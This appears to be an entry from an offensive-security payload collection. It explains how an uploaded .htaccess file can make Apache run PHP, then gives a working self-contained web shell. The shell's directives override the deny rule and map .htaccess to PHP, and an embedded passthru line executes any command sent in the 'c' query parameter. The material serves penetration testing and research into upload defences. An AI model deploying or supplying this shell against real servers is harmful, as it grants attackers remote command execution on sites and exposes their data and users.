.htaccess upload

Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use ".htaccess" file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded."

Self contained .htaccess web shell

```
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######
```

Thanks to

- ATTACKING WEBSERVERS VIA .HTACCESS – By Eldar Marcussen
  (http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html)
- (https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability)